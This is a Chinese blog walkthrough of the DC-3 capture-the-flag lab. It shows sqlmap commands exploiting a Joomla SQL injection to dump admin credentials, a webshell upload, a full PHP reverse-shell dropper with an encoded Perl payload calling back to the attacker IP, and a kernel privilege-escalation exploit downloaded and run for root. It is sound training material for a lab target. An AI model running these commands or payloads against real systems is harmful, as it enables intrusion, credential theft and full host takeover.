DC-3渗透详细教程

靶机需要在与kali机在同一网段下:

Dc-3的桌面:

好吧,是一个登陆界面,而且还是一个ubunto

开始吧!

第一步——信息收集
1.kali的IP:192.168.13.128

2.arp-scan -l 扫描获得靶机的ip:192.168.13.131

3.看看靶机ip中正在使用的端口:

只有一个80端口,那么因该存在一个网站:

4.扫描该ip寻找他的相关域名:

可以看到域名为http://192.168.13.131 登录看看:

5.查看其下还有没有别的域名:

还不少嘞,其中发现

Index.php有东西,查看它:

哇塞,是一个新的登陆系统。

查看了资料才知道,Joomla 是一个流行的开源内容管理系统(CMS),用于构建和管理网站。它提供了强大的功能和灵活性,使用户能够创建各种类型的网站,包括博客、企业网站、在线商店等。

原来是一个插件,那么既然是插件那么就可能存在漏洞:

使用joomscan,查看以下他的版本号:

找到了他的版本号

6.查看是否存在漏洞:

竟然是sql注入漏洞

搜集到现在可以获得的信息:

kali的ip:192.168.13.128

靶机的ip:192.168.13.131

靶机ip下的域名:http://192.168.13.131以及域名下的域名

发现两个登陆系统,其中一个joolma存在sql注入漏洞

只发现一个端口号80端口的http服务

第二步——漏洞渗透

1.找到sql注入的源文件

找到后就可以将其内容添加到桌面:

提供了sqlmap的注入方法:

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

将域名换为需要注入的域名:

sqlmap -u "http://192.168.13.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb                                         

        ___

成功得到库名:

继续注入,获得表名:

 sqlmap -u "http://192.168.13.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables

获得表名:

其中有一个user表,注入它获得列名:sqlmap -u "http://192.168.13.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' --columns 

获得了列名,现在就是最后一步,获得字段值:sqlmap -u "http://192.168.13.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump

得到用户名和密码: admin    | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

但是密码并不是明文的,所以需要解密,该密码是一个哈希值,解码后的结果是:

Snoopy

2.进行登录查看:

里面有一个欢迎界面:

将其翻译:

这次,只有一个标志、一个入口点,没有线索。

要获取这个标志,显然你需要获取 root 权限。

如何成为 root 取决于你 - 当然也取决于系统。

祝你好运 - 希望你享受这个小挑战。 :-)

看来还是要提权才可以

3.查看资料得知需要找到一个文件上传的界面也是找到了:

需要写一个一句话木马进行提权:

木马位置:http://192.168.13.131/templates/beez3/shell.php

使用蚁剑进行连接:

连接后发现竟然不可以打开root的权限,也获得不了flag,还是要提权,那么就回到上一步:

查看资料后得知可以使用php提权,拿到他的shell

首先创建一个php文件:内容为:

<?php

function which($pr) {

$path = execute("which $pr");

return ($path ? $path : $pr);

}

function execute($cfe) {

$res = '';

if ($cfe) {

if(function_exists('exec')) {

@exec($cfe,$res);

$res = join("\n",$res);

}

elseif(function_exists('shell_exec')) {

$res = @shell_exec($cfe);

} elseif(function_exists('system')) {

@ob_start();

@system($cfe);

$res = @ob_get_contents();

@ob_end_clean();

} elseif(function_exists('passthru')) {

@ob_start();

@passthru($cfe);

$res = @ob_get_contents();

@ob_end_clean();

} elseif(@is_resource($f = @popen($cfe,"r"))) {

$res = '';

while(!@feof($f)) {

$res .= @fread($f,1024);

}

@pclose($f);

}

}

return $res;

}

function cf($fname,$text){

if($fp=@fopen($fname,'w')) {

@fputs($fp,@base64_decode($text));

@fclose($fp);

}

}

$yourip = "192.168.13.128";

$yourport = '4444';

$usedb = array('perl'=>'perl','c'=>'c');

$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".

"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".

"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".

"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".

"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".

"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".

"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";

cf('/tmp/.bc',$back_connect);

$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");

?>

这个是一个在网上找的提权代码,将其保存

然后,在终端上开启本机端口4444:nc -lvnp 4444,访问

http://192.168.13.131/templates/beez3/webshell.php

执行交互代码:

python -c 'import pty;pty.spawn("/bin/bash")'

拿到了shell

7.查看其权限:

好吧,并不是root权限,还需提权。

linux系统下要尤其注意 /etc/passwd 和/etc/crontab两个文件 前者用来存储用户名 后者用来存储定时任务

 有时候都是解题的关键就是查看/etc/passwd

查看/etc/passwd:

并没有什么可以使用的

看下一个:

还是没有发现什么可以运用的内容

经过查阅资料得知,需要找到版本漏洞,利用版本漏洞进行提权:

那么就查看他的版本号:

7.在打开一个新的终端找他的漏洞(建议最大屏幕):

可以看到4.4.x中存在远程提权漏洞

找他的漏洞信息:


找到该信息,并且将其copy到桌面:

还提供了漏洞的使用方法,我简单一说:就是将39774.zip下载到本机,然后在利用靶机的漏洞进行下载本机的文件,最后执行

user@host:~/ebpf_mapfd_doubleput$ ./compile.sh

user@host:~/ebpf_mapfd_doubleput$ ./doubleput

实现本机的提权。

方法:首先根据最下方的网站进行下载到本机桌面,但是这个是无法下载的于是就在网络上找到一个文件,然后在传输到kali机上

,并进行解压:

现在需要打开本机终端开启本机的http服务端口

将exploit.tar的下载连接进行copy

http://192.168.13.128:8888/39772/exploit.tar

打开连接着dc-3的终端,远程下载它:

解压它:

进入ebpf_mapfd_doubleput_exploit/文件夹:

执行那两个文件:./compile.sh

和./doubleput

然后执行root权限功能,查看是否提权成功:

并使用whomai查看权限:

成功了,现在搜索flag的所在地:find /-name *flag*:

在root下发现flag:

成功了!!!!!!!!

备注:参考:DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_金 帛的博客-CSDN博客

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值